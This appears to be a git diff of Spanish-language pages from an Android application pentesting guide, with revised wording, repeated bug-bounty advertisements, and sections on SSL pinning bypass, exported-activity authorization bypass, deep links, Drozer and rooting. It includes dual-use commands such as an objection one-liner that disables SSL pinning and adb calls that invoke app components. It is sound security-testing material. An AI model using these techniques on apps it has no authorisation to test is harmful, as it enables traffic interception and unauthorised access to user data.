Una buena manera de probar esto es intentar capturar el tráfico utilizando un proxy como Burp sin autorizar el CA de Burp dentro del dispositivo. Además, puedes generar con Burp un certificado para un nombre de host diferente y usarlo.
|
||||
|
||||
### Criptografía Rota
|
||||
### Criptografía rota
|
||||
|
||||
**Procesos de Gestión de Claves Débiles**
|
||||
**Procesos de gestión de claves deficientes**
|
||||
|
||||
Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los cifran con una clave codificada/predecible en el código. Esto no debería hacerse, ya que algunos procesos de reversión podrían permitir a los atacantes extraer la información confidencial.
|
||||
|
||||
**Uso de Algoritmos Inseguros y/o Obsoletos**
|
||||
**Uso de algoritmos inseguros y/o obsoletos**
|
||||
|
||||
Los desarrolladores no deberían utilizar algoritmos **obsoletos** para realizar **verificaciones** de autorización, **almacenar** o **enviar** datos. Algunos de estos algoritmos son: RC4, MD4, MD5, SHA1... Si se utilizan **hashes** para almacenar contraseñas, por ejemplo, se deben utilizar hashes resistentes a ataques de fuerza bruta con sal.
|
||||
Los desarrolladores no deberían utilizar algoritmos **obsoletos** para realizar **comprobaciones** de autorización, **almacenar** o **enviar** datos. Algunos de estos algoritmos son: RC4, MD4, MD5, SHA1... Si se utilizan **hashes** para almacenar contraseñas, por ejemplo, se deben utilizar hashes resistentes a ataques de fuerza bruta con sal.
|
||||
|
||||
### Otras verificaciones
|
||||
### Otras comprobaciones
|
||||
|
||||
* Se recomienda **ofuscar el APK** para dificultar el trabajo de ingeniería inversa a los atacantes.
|
||||
* Si la aplicación es sensible (como las aplicaciones bancarias), debería realizar sus **propias verificaciones para ver si el dispositivo móvil está rooteado** y actuar en consecuencia.
|
||||
* Si la aplicación es sensible (como las aplicaciones bancarias), debería verificar si se está utilizando un **emulador**.
|
||||
* Si la aplicación es sensible (como las aplicaciones bancarias), debería realizar sus **propias comprobaciones para ver si el dispositivo móvil está rooteado** y actuar en consecuencia.
|
||||
* Si la aplicación es sensible (como las aplicaciones bancarias), debería comprobar si se está utilizando un **emulador**.
|
||||
* Si la aplicación es sensible (como las aplicaciones bancarias), debería **verificar su propia integridad antes de ejecutarse** para comprobar si ha sido modificada.
|
||||
* Utiliza [**APKiD**](https://github.com/rednaga/APKiD) para verificar qué compilador/empaquetador/ofuscador se utilizó para construir el APK.
|
||||
* Utiliza [**APKiD**](https://github.com/rednaga/APKiD) para comprobar qué compilador/empaquetador/ofuscador se utilizó para construir el APK.
|
||||
|
||||
### Aplicación React Native
|
||||
|
||||
|
@ -253,9 +253,9 @@ Una aplicación puede contener secretos (claves de API, contraseñas, URL oculta
|
|||
[content-protocol.md](content-protocol.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de cifrado.**
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
**Obtén recompensas sin demoras**\
|
||||
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
|
||||
|
@ -298,11 +298,11 @@ Puedes usar algún **emulador** como:
|
|||
Cuando crees un nuevo emulador en cualquier plataforma, recuerda que cuanto más grande sea la pantalla, más lento funcionará el emulador. Así que selecciona pantallas pequeñas si es posible.
|
||||
{% endhint %}
|
||||
|
||||
Como la mayoría de las personas usarán **Genymotion**, ten en cuenta este truco. Para **instalar servicios de Google** (como AppStore) necesitas hacer clic en el botón marcado en rojo en la siguiente imagen:
|
||||
Como la mayoría de las personas usarán **Genymotion**, ten en cuenta este truco. Para **instalar servicios de Google** (como AppStore), debes hacer clic en el botón marcado en rojo en la siguiente imagen:
|
||||
|
||||
![](<../../.gitbook/assets/image (200) (1).png>)
|
||||
|
||||
Además, ten en cuenta que en la **configuración de la máquina virtual de Android en Genymotion** puedes seleccionar el modo de red de puente (esto será útil si te conectarás a la máquina virtual de Android desde una máquina virtual diferente con las herramientas).
|
||||
Además, ten en cuenta que en la **configuración de la máquina virtual de Android en Genymotion** puedes seleccionar el modo de red de puente (esto será útil si te conectarás a la máquina virtual de Android desde una VM diferente con las herramientas).
|
||||
|
||||
O podrías usar un **dispositivo físico** (necesitas activar las opciones de depuración y sería genial si puedes rootearlo):
|
||||
|
||||
|
@ -322,7 +322,7 @@ A menudo, los desarrolladores dejan información de depuración de forma públic
|
|||
Al navegar por la aplicación, utiliza [**pidcat**](https://github.com/JakeWharton/pidcat)_(Recomendado, es más fácil de usar y leer)_ o [adb logcat](adb-commands.md#logcat) para leer los registros creados y **buscar información sensible**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que a partir de **versiones posteriores a Android 4.0**, **las aplicaciones solo pueden acceder a sus propios registros**. Por lo tanto, las aplicaciones no pueden acceder a los registros de otras aplicaciones.\
|
||||
Ten en cuenta que a partir de las versiones posteriores a Android 4.0, **las aplicaciones solo pueden acceder a sus propios registros**. Por lo tanto, las aplicaciones no pueden acceder a los registros de otras aplicaciones.\
|
||||
De todos modos, se recomienda **no registrar información sensible**.
|
||||
{% endhint %}
|
||||
|
||||
|
@ -348,10 +348,10 @@ Si la base de datos guarda información confidencial y está **encriptada**, per
|
|||
|
||||
Enumera las tablas usando `.tables` y enumera las columnas de las tablas con `.schema <nombre_de_la_tabla>`
|
||||
|
||||
### Drozer (Actividades de explotación, Proveedores de contenido y Servicios)
|
||||
### Drozer (Explotar actividades, proveedores de contenido y servicios)
|
||||
|
||||
**Drozer** te permite **asumir el rol de una aplicación de Android** e interactuar con otras aplicaciones. Puede hacer **cualquier cosa que una aplicación instalada pueda hacer**, como utilizar el mecanismo de Comunicación entre Procesos (IPC) de Android e interactuar con el sistema operativo subyacente. Extraído de [Guía de Drozer](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf).\
|
||||
Drozer es una herramienta útil para **explotar actividades exportadas, servicios exportados y Proveedores de contenido**, como aprenderás en las siguientes secciones.
|
||||
Drozer es una herramienta útil para **explotar actividades exportadas, servicios exportados y proveedores de contenido**, como aprenderás en las siguientes secciones.
|
||||
|
||||
### Explotando actividades exportadas
|
||||
|
||||
|
@ -360,7 +360,7 @@ También recuerda que el código de una actividad comienza con el método `onCre
|
|||
|
||||
**Bypass de autorización**
|
||||
|
||||
Cuando una Actividad está exportada, puedes invocar su pantalla desde una aplicación externa. Por lo tanto, si una actividad con **información sensible** está **exportada**, podrías **burlar** los mecanismos de **autenticación** para **acceder a ella**.\
|
||||
Cuando una actividad está exportada, puedes invocar su pantalla desde una aplicación externa. Por lo tanto, si una actividad con **información sensible** está **exportada**, podrías **burlar** los mecanismos de **autenticación** para **acceder a ella**.\
|
||||
[**Aprende cómo explotar actividades exportadas con Drozer.**](drozer-tutorial/#activities)
|
||||
|
||||
También puedes iniciar una actividad exportada desde adb:
|
||||
|
@ -409,7 +409,7 @@ Puedes **abrir** un **esquema** declarado utilizando **adb** o un **navegador**:
|
|||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_Nota que puedes **omitir el nombre del paquete** y el móvil automáticamente llamará a la aplicación que debería abrir ese enlace._
|
||||
_Ten en cuenta que puedes **omitir el nombre del paquete** y el dispositivo móvil llamará automáticamente a la aplicación que debería abrir ese enlace._
|
||||
```markup
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
|
@ -439,7 +439,7 @@ Un [informe interesante de recompensa por errores](https://hackerone.com/reports
|
|||
|
||||
* **Falta de inspección de certificados:** La aplicación de Android no verifica la identidad del certificado presentado. La mayoría de las aplicaciones ignoran las advertencias y aceptan cualquier certificado autofirmado presentado. Algunas aplicaciones, en cambio, pasan el tráfico a través de una conexión HTTP.
|
||||
* **Negociación de handshake débil:** La aplicación y el servidor realizan un handshake SSL/TLS pero utilizan un conjunto de cifrado inseguro que es vulnerable a ataques MITM. Por lo tanto, cualquier atacante puede descifrar fácilmente esa conexión.
|
||||
* **Fuga de información de privacidad:** Muchas veces sucede que las aplicaciones autentican a través de un canal seguro pero el resto de las conexiones se realizan a través de un canal no seguro. Esto no agrega seguridad a la aplicación porque los datos sensibles restantes, como las cookies de sesión o los datos de usuario, pueden ser interceptados por un usuario malintencionado.
|
||||
* **Fuga de información de privacidad:** La mayoría de las veces sucede que las aplicaciones autentican a través de un canal seguro pero el resto de la conexión se realiza a través de un canal no seguro. Esto no agrega seguridad a la aplicación porque los datos sensibles restantes, como las cookies de sesión o los datos de usuario, pueden ser interceptados por un usuario malintencionado.
|
||||
|
||||
De los 3 escenarios presentados, vamos a discutir **cómo verificar la identidad del certificado**. Los otros 2 escenarios dependen de la **configuración de TLS** del servidor y si la **aplicación envía datos sin cifrar**. El pentester debe verificar por sí mismo la configuración de TLS del servidor ([aquí](../../network-services-pentesting/pentesting-web/#ssl-tls-vulnerabilites)) y detectar si se envía alguna **información confidencial a través de un canal no cifrado/vulnerable**.\
|
||||
Más información sobre cómo descubrir y solucionar este tipo de vulnerabilidades [**aquí**](https://manifestsecurity.com/android-application-security-part-10/).
|
||||
|
@ -455,18 +455,18 @@ Se recomienda **aplicar SSL Pinning** para los sitios donde se enviará informac
|
|||
En primer lugar, debes (debes) **instalar el certificado** de la herramienta de **proxy** que vas a utilizar, probablemente Burp. Si no instalas el certificado CA de la herramienta de proxy, es probable que no veas el tráfico cifrado en el proxy.\
|
||||
**Por favor,** [**lee esta guía para aprender cómo instalar un certificado CA personalizado**](android-burp-suite-settings.md)**.**
|
||||
|
||||
Para las aplicaciones dirigidas a **API Level 24+ no es suficiente con instalar el certificado CA** de Burp en el dispositivo. Para evitar esta nueva protección, debes modificar el archivo de configuración de seguridad de red. Por lo tanto, puedes modificar este archivo para autorizar tu certificado CA o puedes [**leer esta página para obtener un tutorial sobre cómo hacer que la aplicación vuelva a aceptar todos los certificados instalados en el dispositivo**](make-apk-accept-ca-certificate.md).
|
||||
Para las aplicaciones dirigidas a **API Level 24+ no es suficiente instalar el certificado CA** de Burp en el dispositivo. Para evitar esta nueva protección, debes modificar el archivo de configuración de seguridad de red. Por lo tanto, puedes modificar este archivo para autorizar tu certificado CA o puedes [**leer esta página para obtener un tutorial sobre cómo hacer que la aplicación vuelva a aceptar todos los certificados instalados en el dispositivo**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
**SSL Pinning**
|
||||
|
||||
Ya hemos discutido qué es el SSL Pinning solo 2 párrafos antes. Cuando se implementa en una aplicación, deberás evitarlo para inspeccionar el tráfico HTTPS o no lo verás.\
|
||||
Aquí presentaré algunas opciones que he utilizado para evitar esta protección:
|
||||
Aquí voy a presentar algunas opciones que he utilizado para evitar esta protección:
|
||||
|
||||
* Modificar automáticamente el **apk** para **evitar** el SSL Pinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). La mejor ventaja de esta opción es que no necesitarás acceso root para evitar el SSL Pinning, pero deberás eliminar la aplicación y reinstalar la nueva, y esto no siempre funcionará.
|
||||
* Puedes usar **Frida** (discutido a continuación) para evitar esta protección. Aquí tienes una guía para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* También puedes intentar **evitar automáticamente el SSL Pinning** utilizando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* También puedes intentar **evitar automáticamente el SSL Pinning** utilizando el análisis dinámico de **MobSF** (explicado a continuación)
|
||||
* Si aún crees que hay algún tráfico que no estás capturando, puedes intentar **redirigir el tráfico a burp utilizando iptables**. Lee este blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
* Si aún crees que hay algún tráfico que no estás capturando, puedes intentar **redirigir el tráfico a Burp utilizando iptables**. Lee este blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
**Vulnerabilidades web comunes**
|
||||
|
||||
|
@ -490,7 +490,7 @@ Esta herramienta puede ayudarte a gestionar diferentes herramientas durante el a
|
|||
|
||||
Esta vulnerabilidad se asemeja a la **Redirección Abierta en seguridad web**. Dado que la clase `Intent` es `Parcelable`, **los objetos pertenecientes a esta clase** pueden ser **pasados** como **datos extra** en otro objeto `Intent`.\
|
||||
Muchos desarrolladores hacen **uso** de esta **característica** y crean **componentes proxy** (actividades, receptores de difusión y servicios) que **toman una Intención incrustada y la pasan a métodos peligrosos** como `startActivity(...)`, `sendBroadcast(...)`, etc.\
|
||||
Esto es peligroso porque **un atacante puede forzar a la aplicación a lanzar un componente no exportado que no se puede lanzar directamente desde otra aplicación**, o conceder al atacante acceso a sus proveedores de contenido. **`WebView`** a veces también cambia una **URL de una cadena a un objeto `Intent`**, utilizando el método `Intent.parseUri(...)`, y lo pasa a `startActivity(...)`.
|
||||
Esto es peligroso porque **un atacante puede forzar a la aplicación a lanzar un componente no exportado que no puede ser lanzado directamente desde otra aplicación**, o conceder al atacante acceso a sus proveedores de contenido. **`WebView`** a veces también cambia una **URL de una cadena a un objeto `Intent`**, utilizando el método `Intent.parseUri(...)`, y lo pasa a `startActivity(...)`.
|
||||
|
||||
### Inyecciones en el Lado del Cliente de Android y otros
|
||||
|
||||
|
@ -502,7 +502,7 @@ Probablemente ya conozcas este tipo de vulnerabilidades en la Web. Debes tener e
|
|||
* **Cookies Eternas**: En varios casos, cuando la aplicación Android finaliza la sesión, la cookie no se revoca o incluso puede guardarse en el disco.
|
||||
* [**Bandera de Seguridad** en las cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores criptográficos.**
|
||||
|
||||
|
@ -510,7 +510,7 @@ Probablemente ya conozcas este tipo de vulnerabilidades en la Web. Debes tener e
|
|||
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
|
||||
|
||||
**Obtén experiencia en pentesting web3**\
|
||||
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
|
||||
**Conviértete en la leyenda del hacker web3**\
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||||
|
@ -554,7 +554,7 @@ Por defecto, también utilizará algunos scripts de Frida para **evitar el pinni
|
|||
MobSF también puede **invocar actividades exportadas**, capturar **capturas de pantalla** de ellas y **guardarlas** para el informe.
|
||||
|
||||
Para **iniciar** las pruebas dinámicas, presiona el botón verde "**Start Instrumentation**". Presiona "**Frida Live Logs**" para ver los registros generados por los scripts de Frida y "**Live API Monitor**" para ver todas las invocaciones a los métodos enganchados, los argumentos pasados y los valores devueltos (esto aparecerá después de presionar "Start Instrumentation").\
|
||||
MobSF también te permite cargar tus propios **scripts de Frida** (para enviar los resultados de tus scripts de Frida a MobSF, utiliza la función `send()`). También tiene **varios scripts preescritos** que puedes cargar (puedes agregar más en `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), solo **selecciona** los que desees, presiona "**Load**" y luego "**Start Instrumentation**" (podrás ver los registros de esos scripts dentro de "**Frida Live Logs**").
|
||||
MobSF también te permite cargar tus propios **scripts de Frida** (para enviar los resultados de tus scripts de Frida a MobSF, utiliza la función `send()`). También tiene **varios scripts preescritos** que puedes cargar (puedes agregar más en `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), solo **selecciona** el que desees, presiona "**Load**" y presiona "**Start Instrumentation**" (podrás ver los registros de esos scripts dentro de "**Frida Live Logs**").
|
||||
|
||||
![](<../../.gitbook/assets/image (215).png>)
|
||||
|
||||
|
@ -701,7 +701,7 @@ Es capaz de:
|
|||
|
||||
Útil para detectar malware: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -744,7 +744,7 @@ Encuentra una guía paso a paso para desofuscar el apk en [https://blog.lexfo.fr
|
|||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard revierte el proceso de ofuscación realizado por las herramientas de ofuscación de Android. Esto permite numerosos análisis de seguridad, incluida la inspección de código y la predicción de bibliotecas.**
|
||||
**DeGuard revierte el proceso de ofuscación realizado por las herramientas de ofuscación de Android. Esto permite realizar numerosos análisis de seguridad, incluida la inspección de código y la predicción de bibliotecas.**
|
||||
|
||||
Puedes subir una APK ofuscada a su plataforma.
|
||||
|
||||
|
@ -788,7 +788,7 @@ Para obtener más información, visita:
|
|||
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -53,7 +53,7 @@ A partir de Android 5.0(L), se aplica SELinux. Básicamente, SELinux deniega tod
|
|||
### Permisos
|
||||
|
||||
Cuando instalas una **aplicación y solicita permisos**, la aplicación está solicitando los permisos configurados en los elementos **`uses-permission`** en el archivo **AndroidManifest.xml**. El elemento **uses-permission** indica el nombre del permiso solicitado dentro del atributo **name**. También tiene el atributo **maxSdkVersion**, que deja de solicitar permisos en versiones superiores a la especificada.\
|
||||
Ten en cuenta que las aplicaciones de Android no necesitan solicitar todos los permisos al principio, también pueden **solicitar permisos de forma dinámica**, pero todos los permisos deben estar **declarados** en el manifiesto.
|
||||
Ten en cuenta que las aplicaciones de Android no necesitan solicitar todos los permisos al principio, también pueden **solicitar permisos dinámicamente**, pero todos los permisos deben estar **declarados** en el manifiesto.
|
||||
|
||||
Cuando una aplicación expone funcionalidades, puede limitar el **acceso solo a aplicaciones que tengan un permiso especificado**.\
|
||||
Un elemento de permiso tiene tres atributos:
|
||||
|
@ -63,8 +63,8 @@ Un elemento de permiso tiene tres atributos:
|
|||
* El **nivel de protección**, que indica cómo se otorgan los permisos. Hay cuatro tipos:
|
||||
* **Normal**: Se utiliza cuando no hay **amenazas conocidas** para la aplicación. El usuario **no está obligado a aprobarlo**.
|
||||
* **Peligroso**: Indica que el permiso otorga a la aplicación solicitante un **acceso elevado**. **Se solicita a los usuarios que los aprueben**.
|
||||
* **Firma**: Solo se pueden otorgar permisos a las **aplicaciones firmadas con el mismo certificado que el que** exporta el componente. Este es el tipo de protección más fuerte.
|
||||
* **FirmaO Sistema**: Solo se pueden otorgar permisos a las **aplicaciones firmadas con el mismo certificado que el que** exporta el componente o **aplicaciones que se ejecutan con acceso a nivel de sistema**.
|
||||
* **Firma**: Solo las **aplicaciones firmadas con el mismo certificado que el que** exporta el componente pueden obtener permiso. Este es el tipo de protección más fuerte.
|
||||
* **FirmaO Sistema**: Solo las **aplicaciones firmadas con el mismo certificado que el que** exporta el componente o **aplicaciones que se ejecutan con acceso a nivel de sistema** pueden obtener permisos.
|
||||
|
||||
## Aplicaciones Preinstaladas
|
||||
|
||||
|
@ -75,10 +75,9 @@ Estas aplicaciones generalmente se encuentran en los directorios **`/system/app`
|
|||
* Agregadas por el **proveedor** de telefonía celular (si se compró a ellos)
|
||||
## Rooting
|
||||
|
||||
Para obtener acceso root en un dispositivo Android físico, generalmente necesitas **explotar** 1 o 2 **vulnerabilidades** que suelen ser **específicas** para el **dispositivo** y la **versión**.\
|
||||
Una vez que la explotación ha funcionado, generalmente se copia el binario `su` de Linux en una ubicación especificada en la variable de entorno PATH del usuario, como `/system/xbin`.
|
||||
Para obtener acceso root en un dispositivo Android físico, generalmente necesitas **explotar** 1 o 2 **vulnerabilidades** que suelen ser **específicas** para el **dispositivo** y la **versión**. Una vez que la explotación ha funcionado, generalmente se copia el binario `su` de Linux en una ubicación especificada en la variable de entorno PATH del usuario, como `/system/xbin`.
|
||||
|
||||
Una vez configurado el binario su, se utiliza otra aplicación de Android para interactuar con el binario `su` y **procesar solicitudes de acceso root** como **Superuser** y **SuperSU** (disponibles en Google Play Store).
|
||||
Una vez que el binario `su` está configurado, se utiliza otra aplicación de Android para interactuar con el binario `su` y **procesar solicitudes de acceso root** como **Superuser** y **SuperSU** (disponibles en Google Play Store).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ten en cuenta que el proceso de rootear es muy peligroso y puede dañar gravemente el dispositivo.
|
||||
|
@ -86,8 +85,7 @@ Ten en cuenta que el proceso de rootear es muy peligroso y puede dañar gravemen
|
|||
|
||||
### ROMs
|
||||
|
||||
Es posible **reemplazar el sistema operativo instalando un firmware personalizado**. Al hacer esto, es posible ampliar la utilidad de un dispositivo antiguo, evitar restricciones de software o acceder al último código de Android.\
|
||||
**OmniROM** y **LineageOS** son dos de los firmwares más populares para usar.
|
||||
Es posible **reemplazar el sistema operativo instalando un firmware personalizado**. Al hacer esto, es posible ampliar la utilidad de un dispositivo antiguo, evitar restricciones de software o acceder al último código de Android. **OmniROM** y **LineageOS** son dos de los firmwares más populares para usar.
|
||||
|
||||
Ten en cuenta que **no siempre es necesario rootear el dispositivo** para instalar un firmware personalizado. **Algunos fabricantes permiten** el desbloqueo de sus cargadores de arranque de manera documentada y segura.
|
||||
|
||||
|
@ -114,9 +112,9 @@ Esta introducción se toma de [https://maddiestone.github.io/AndroidAppRE/app\_f
|
|||
* lib/
|
||||
* Bibliotecas nativas para la aplicación, por defecto, se encuentran aquí. Bajo el directorio lib/, se encuentran los directorios específicos de la CPU.
|
||||
* `armeabi`: código compilado solo para procesadores basados en ARM
|
||||
* `armeabi-v7a`: código compilado solo para procesadores basados en ARMv7 y superiores
|
||||
* `armeabi-v7a`: código compilado para procesadores basados en ARMv7 y superiores
|
||||
* `x86`: código compilado para X86
|
||||
* `mips`: código compilado solo para procesadores MIPS
|
||||
* `mips`: código compilado para procesadores MIPS únicamente
|
||||
* assets/
|
||||
* Cualquier otro archivo que pueda ser necesario para la aplicación.
|
||||
* Aquí se pueden incluir bibliotecas nativas adicionales o archivos DEX. Esto puede suceder especialmente cuando los autores de malware quieren intentar "ocultar" código adicional, nativo o Dalvik, al no incluirlo en las ubicaciones predeterminadas.
|
||||
|
@ -125,17 +123,16 @@ Esta introducción se toma de [https://maddiestone.github.io/AndroidAppRE/app\_f
|
|||
|
||||
### **Dalvik y Smali**
|
||||
|
||||
La mayoría de las aplicaciones de Android están escritas en Java. Kotlin también es compatible e interoperable con Java. Para mayor facilidad, para el resto de este taller, cuando me refiero a "Java", puedes asumir que me refiero a "Java o Kotlin". **En lugar de que el código Java se ejecute en la Máquina Virtual de Java** (JVM) como las aplicaciones de escritorio, en Android, el **Java se compila al bytecode \_Dalvik Executable (DEX)**\_\* formato\*\*. Para versiones anteriores de Android, el bytecode se traducía mediante la máquina virtual Dalvik. Para versiones más recientes de Android, se utiliza el Android Runtime (ART).\
|
||||
Si los desarrolladores escriben en Java y el código se compila a bytecode DEX, para ingeniería inversa, trabajamos en la dirección opuesta.\
|
||||
\\
|
||||
La mayoría de las aplicaciones de Android están escritas en Java. Kotlin también es compatible e interoperable con Java. Para mayor facilidad, para el resto de este taller, cuando me refiero a "Java", puedes asumir que me refiero a "Java o Kotlin". **En lugar de que el código Java se ejecute en la Máquina Virtual de Java** (JVM) como las aplicaciones de escritorio, en Android, el **Java se compila al bytecode \_Dalvik Executable (DEX)**\_\* formato\*\*. Para versiones anteriores de Android, el bytecode era traducido por la máquina virtual Dalvik. Para versiones más recientes de Android, se utiliza el Android Runtime (ART).
|
||||
Si los desarrolladores escriben en Java y el código se compila a bytecode DEX, para ingeniería inversa, trabajamos en la dirección opuesta.
|
||||
|
||||
![Diagrama de flujo del proceso del desarrollador. De Java a bytecode DEX](https://maddiestone.github.io/AndroidAppRE/images/DevelopersFlow.jpg)
|
||||
|
||||
![Diagrama de flujo del proceso del ingeniero inverso. De bytecode DEX a SMALI a Java descompilado](https://maddiestone.github.io/AndroidAppRE/images/ReversersFlow.jpg)
|
||||
|
||||
**Smali es la versión legible por humanos del bytecode Dalvik**. Técnicamente, Smali y baksmali son los nombres de las herramientas (ensamblador y desensamblador, respectivamente), pero en Android, a menudo usamos el término "Smali" para referirnos a las instrucciones. Si has realizado ingeniería inversa o arquitectura de computadoras en código C/C++ compilado, **SMALI es como el lenguaje ensamblador: entre el código fuente de nivel superior y el bytecode**.
|
||||
**Smali es la versión legible por humanos del bytecode Dalvik**. Técnicamente, Smali y baksmali son los nombres de las herramientas (ensamblador y desensamblador, respectivamente), pero en Android, a menudo usamos el término "Smali" para referirnos a las instrucciones. Si has realizado ingeniería inversa o arquitectura de computadoras en código C/C++ compilado, **SMALI es como el lenguaje ensamblador: está entre el código fuente de nivel superior y el bytecode**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de cifrado.**
|
||||
|
||||
|
@ -157,7 +154,7 @@ Obtén puntos de reputación con cada error verificado y conquista la cima de la
|
|||
Los Intents son el principal medio por el cual las aplicaciones de Android se comunican entre sus componentes o con otras aplicaciones. Estos objetos de mensaje también pueden transportar datos entre aplicaciones o componentes, de manera similar a cómo se utilizan las solicitudes GET/POST en las comunicaciones HTTP.
|
||||
|
||||
Entonces, un Intent es básicamente un **mensaje que se pasa entre componentes**. Los Intents **pueden dirigirse** a componentes o aplicaciones específicas, **o pueden enviarse sin un destinatario específico**.\
|
||||
Para simplificar, un Intent se puede usar:
|
||||
Para simplificar, un Intent se puede utilizar:
|
||||
|
||||
* Para iniciar una Actividad, generalmente abriendo una interfaz de usuario para una aplicación
|
||||
* Como transmisiones para informar al sistema y a las aplicaciones sobre cambios
|
||||
|
@ -169,18 +166,16 @@ Una implementación incorrecta podría resultar en fugas de datos, llamadas a fu
|
|||
|
||||
### Filtro de Intents
|
||||
|
||||
Un filtro de Intent especifica los **tipos de Intent a los que una actividad, servicio o receptor de transmisiones puede responder**. Especifica lo que una actividad o servicio puede hacer y qué tipos de transmisiones puede manejar un receptor. Permite que el componente correspondiente reciba Intents del tipo declarado. Los filtros de Intents generalmente se **definen a través del archivo AndroidManifest.xml**. Para **receptor de transmisiones**, también es posible definirlos en **código**. Un filtro de Intent se define por su categoría, acciones y filtros de datos. También puede contener metadatos adicionales.
|
||||
Un filtro de Intent especifica los **tipos de Intents a los que una actividad, servicio o receptor de transmisiones puede responder**. Especifica lo que una actividad o servicio puede hacer y qué tipos de transmisiones puede manejar un receptor. Permite que el componente correspondiente reciba Intents del tipo declarado. Los filtros de Intents generalmente se **definen a través del archivo AndroidManifest.xml**. Para los **receptores de transmisiones**, también es posible definirlos en **código**. Un filtro de Intent se define por su categoría, acciones y filtros de datos. También puede contener metadatos adicionales.
|
||||
|
||||
En Android, una actividad/servicio/proveedor de contenido/receptor de transmisiones es **público** cuando **`exported`** se establece en **`true`**, pero un componente también es público si el **manifiesto especifica un filtro de Intent** para él. Sin embargo, los desarrolladores pueden **hacer que los componentes sean privados explícitamente** (independientemente de cualquier filtro de Intent)\
|
||||
al establecer el atributo **`exported`** en **`false`** para cada componente en el archivo de manifiesto.\
|
||||
Los desarrolladores también pueden establecer el atributo **`permission`** para **requerir un permiso específico para acceder** al componente, restringiendo así el acceso al componente.
|
||||
En Android, una actividad/servicio/proveedor de contenido/receptor de transmisiones es **público** cuando se establece **`exported`** en **`true`**, pero un componente también es público si el **manifiesto especifica un filtro de Intent** para él. Sin embargo, los desarrolladores pueden **hacer que los componentes sean privados explícitamente** (independientemente de cualquier filtro de Intent) al establecer el atributo **`exported`** en **`false`** para cada componente en el archivo de manifiesto. Los desarrolladores también pueden establecer el atributo **`permission`** para **requerir un permiso específico para acceder** al componente, restringiendo así el acceso al componente.
|
||||
### Intenciones implícitas
|
||||
|
||||
Las intenciones se crean programáticamente utilizando un constructor de Intents:
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
